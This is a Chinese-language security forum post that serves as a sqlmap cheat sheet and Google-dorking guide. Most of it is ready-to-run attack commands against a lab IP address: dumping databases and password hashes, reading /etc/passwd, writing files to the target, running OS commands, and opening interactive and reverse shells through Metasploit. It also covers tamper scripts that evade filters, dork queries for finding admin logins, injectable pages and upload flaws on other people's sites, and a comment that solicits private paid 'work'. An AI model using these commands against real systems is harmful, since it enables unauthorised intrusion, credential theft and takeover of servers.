• 注册
  • App下载
  • 注册
  • WEB安全 WEB安全 关注:2906 内容:340

    SQL漏洞注入工具——SQLmap的终极玩法

  • 查看作者
  • 打赏作者
    • 4
    • WEB安全
    • LV4
      VIP 1
      黑凤梨

      SQLMap的用法+谷歌黑客语法

          SQL漏洞注入工具——SQLmap的终极玩法

      SQLMap的用法记录

      ****基本步骤*****

      sqlmap.py -u “http://192.168.109.139/news?id=1” –current-user #获取当前用户名称 

      sqlmap.py -u “http://192.168.109.139/news?id=1” –current-db #获取当前数据库名称 

      sqlmap.py -u “http://192.168.109.139/news?id=1” –tables -D “db_name” #列表名 

      sqlmap.py -u “http://192.168.109.139/news?id=1” –columns -T “tablename” users-D “db_name” -v 0 #列字段 

      sqlmap.py -u “http://192.168.109.139/news?id=1” –dump -C “column_name” -T “table_name” -D “db_name” -v 0 #获取字段内容 

      ******************信息获取******************

      sqlmap.py -u “http://192.168.109.139/news?id=1” –smart –level 3 –users # smart 智能 level 执行测试等级 

      sqlmap.py -u “http://192.168.109.139/news?id=1” –dbms “Mysql” –users # dbms 定数据库类型 

      sqlmap.py -u “http://192.168.109.139/news?id=1” –users #列数据库用户 

      sqlmap.py -u “http://192.168.109.139/news?id=1” –dbs#列数据库 

      sqlmap.py -u “http://192.168.109.139/news?id=1” –passwords #数据库用户密码 

      sqlmap.py -u “http://192.168.109.139/news?id=1” –passwords-U root -v 0 #列出指定 用户数据库密码 

      sqlmap.py -u “http://192.168.109.139/news?id=1” –dump -C “password,user,id” -T “tablename” -D “db_name” –start 1 –stop 20 #列出指定字段,列出 20 条 

      sqlmap.py -u “http://192.168.109.139/news?id=1” –dump-all -v 0 #列出所有数据库所有 表 

      sqlmap.py -u “http://192.168.109.139/news?id=1” –privileges #查看权限 

      sqlmap.py -u “http://192.168.109.139/news?id=1” –privileges -U root #查看指定用户 权限 

      sqlmap.py -u “http://192.168.109.139/news?id=1” –is-dba -v 1 #是否是数据库管理员 

      sqlmap.py -u “http://192.168.109.139/news?id=1” –roles #枚举数据库用户角色 

      sqlmap.py -u “http://192.168.109.139/news?id=1” –udf-inject #导入用户自定义函数(获 取系统权限!) 

      sqlmap.py -u “http://192.168.109.139/news?id=1” –dump-all –exclude-sysdbs -v 0 #列出当前库所有表 

      sqlmap.py -u “http://192.168.109.139/news?id=1” –union-cols #union 查询表记录 

      sqlmap.py -u “http://192.168.109.139/news?id=1” –cookie “COOKIE_VALUE” #cookie 注入 

      sqlmap.py -u “http://192.168.109.139/news?id=1” -b #获取 banner 信息 

      sqlmap.py -u “http://192.168.109.139/news?id=1” –data “id=3” #post 注入 

      sqlmap.py -u “http://192.168.109.139/news?id=1” -v 1 -f #指纹判别数据库类型 

      sqlmap.py -u “http://192.168.109.139/news?id=1″ –proxy”http://127.0.0.1:8118” # 代理注入 

      sqlmap.py -u “http://192.168.109.139/news?id=1″–string”STRING_ON_TRUE_PAGE” #定关键词 

      sqlmap.py -u “http://192.168.109.139/news?id=1” –sql-shell #执行指定 sql 命令 

      sqlmap.py -u “http://192.168.109.139/news?id=1” –file /etc/passwd #必须为dbs权限 

      sqlmap.py -u “http://192.168.109.139/news?id=1” –file-write 本地文件路径 filedest 目标路径 #必须为dbs权限(可将本地的某个文件写入到目标路径下

      sqlmap.py -u “http://192.168.109.139/news?id=1” –os-cmd=whoami #执行系统命令 

      sqlmap.py -u “http://192.168.109.139/news?id=1” –os-shell #系统交互 shell 

      sqlmap.py -u “http://192.168.109.139/news?id=1” –os-pwn #反弹 shell 

      sqlmap.py -u “http://192.168.109.139/news?id=1” –reg-read #读取 win 系统注册表 

      sqlmap.py -u “http://192.168.109.139/news?id=1” –dbs-o “sqlmap.log” #保存进度 

      sqlmap.py -u “http://192.168.109.139/news?id=1” –dbs -o “sqlmap.log” –resume # 恢复已保存进度 

      sqlmap.py -u “http://192.168.109.139/news?id=1” –msf-path=/opt/metasploit3/msf2 –os-pwn 反弹 shell metasploit 路径 sqlmap.py -u “http://192.168.109.139/news?id=1” –tamper “base64encode.py” 加载脚 (可利用绕过注入限制

      sqlmap.py -u “http://192.168.109.139/news?id=1” –batch –tamper “base64encode.py” 加载脚本(可利用绕过注入限制

      sqlmap -g “google 语法” –dump-all –batch #google 搜索注入点自动 跑出所有字段 

      sqlmap.py -u “http://192.168.109.139/news?id=1” –forms #post提交方式注入 

      sqlmap.py -r 本地数据包路径 #post提交方式注入

      攻击实例

      sqlmap.py -u “http://192.168.109.139/news?id=1&Submit=Submit” — cookie=”PHPSESSID=41aa833e6d0d28f489ff1ab5a7531406″ –string=”Surname” — dbms=mysql –users –password

      谷歌黑客语法

      site:可以限制你搜索范围的域名

      inurl:用于搜索网页上包含的URL,这个语法对寻找网页上的搜索,帮助之类的很有用

      intext: 只搜索网页部分中包含的文字(也就是忽略了标题、URL等的文字

      intitle: 查包含关键词的页面,一般用于社工别人的webshell密码 

      fifiletype:搜索文件的后缀或者扩展名 

      intitle:限制搜索的网页标题

      link: 可以得到一个所有包含了某个指定URL的页面列表.

      查找后台地址:site:域名

      inurl:login|admin|manage|member|admin_login|login_admin|system|login|user|main|cms

      查找文本内容:site:域名 intext:管理|后台|登陆|用户名|密码|验证码|系统||admin|login|sys|managetem|password|username

      查找可注入点:site:域名 inurl:aspx|jsp|php|asp

      查找上传漏洞:site:域名 inurl:fifile|load|editor|Files

      eweb编辑器:site:域名 inurl:ewebeditor|editor|uploadfifile|eweb|edit

      存在的数据库:site:域名 fifiletype:mdb|asp|#

      查看脚本类型:site:域名 fifiletype:asp/aspx/php/jsp

      迂回策略入侵:inurl:cms/data/templates/images/index/

      SQLMap用法总结

      参数说明

      -u #注入点

      -f #指纹判别数据库类型 

      -b #获取数据库版本信息 

      -p #指定可测试的参数(?page=1&id=2 -p “page,id”) 

      -D “” #指定数据库名 

      -T “” #指定表名 

      -C “” #指定字段 

      -s “” #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s “xx.log” 恢复:-s “xx.log” –resume) 

      –columns #列出字段 

      –current-user #获取当前用户名称 

      –current-db #获取当前数据库名称 

      –users #列数据库所有用户 –passwords #数据库用户所有密码 

      –privileges #查看用户权限(–privileges -U root) 

      -U #指定数据库用户 –dbs #列出所有数据库 

      –tables -D “” #列出指定数据库中的表 

      –columns -T “user” -D “mysql” #列出mysql数据库中的user表的所有字段

      –dump-all #列出所有数据库所有表 

      –exclude-sysdbs #只列出用户自己新建的数据库和表 

      –dump -T “” -D “” -C “” #列出指定数据库的表的字段的数据(–dump -T users -D master -C surname) 

      –dump -T “” -D “” –start 2 –top 4 # 列出指定数据库的表的2-4字段的数据

      –dbms #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB) 

      –os #指定系统(Linux,Windows) 

      -v #详细的等级(0-6) 0:只显示Python的回溯,错误和关键消息。 1:显示信息和警告消息。 2:显示调试消息。 3:有效载荷注入。 4:显示HTTP请求。 5:显示HTTP响应头。 6:显示HTTP响应页面的内容 

      –privileges #查看权限 

      –is-dba #是否是数据库管理员 

      –roles #枚举数据库用户角色 

      –udf-inject #导入用户自定义函数(获取系统权限) 

      –union-check #是否支持union 注入 

      –union-cols #union 查询表记录 

      –union-test #union 语句测试 

      –union-use #采用union 注入 

      –union-tech orderby #union配合order by 

      –method “POST” –data “” #POST方式提交数据(–method “POST” –data “page=1&id=2

      –cookie “;号分开” #cookie注入(–cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”) 

      –referer “” #使用referer欺骗(–referer “http://www.baidu.com”) 

      –user-agent “” #自定义user-agent –proxy “http://127.0.0.1:8118#代理注入 

      –string “” #指定关键词 

      –threads #采用多线程(–threads 3) 

      –sql-shell #执行指定sql命令 

      –sql-query #执行指定的sql语句(–sql-query “SELECT password FROM mysql.user WHERE user = ‘root’ LIMIT 0, 1

      –file-read #读取指定文件 

      –file-write #写入本地文件(–file-write /test/test.txt –file-dest /var/www/html/1.txt;将本地的test.txt文件写入到目标的1.txt) 

      –file-dest #要写入的文件绝对路径 

      –os-cmd=id #执行系统命令 

      –os-shell #系统交互shell 

      –os-pwn #反弹shell(–os-pwn –msf-path=/opt/framework/msf3/) 

      –msf-path= #matesploit绝对路径(–msf-path=/opt/framework/msf3/) 

      –os-smbrelay # –os-bof # –reg-read #读取win系统注册表 

      –priv-esc # –time-sec= #延迟设置 默认–time-sec=5 5秒 

      -p “user-agent” –user-agent “sqlmap/0.7rc1 ( 链接)” #指定 user-agent注入 

      –eta #盲注

      /pentest/database/sqlmap/txt/ common-columns.txt 字段字典 common-outputs.txt commontables.txt 表字典 keywords.txt oracle-default-passwords.txt user-agents.txt wordlist.txt




      LV4
      黑金会员
      靓号:666666
      官方
      打赏了6666金币
      回复
      LV2
      黑凤梨
      打赏了10金币
      回复

      可以私聊吗2795894799Q私聊,有活

      回复
      LV1
      Your point of view caught my eye and was very interesting. Thanks. I have a question for you. 链接
      回复

      请登录之后再进行评论

      登录
      WEB安全
    • 今日 0
    • 内容 340
    • 关注 2906
    • 发布
    • 模式切换
    • 实时动态
    • 任务
    • 帖子间隔 侧栏位置: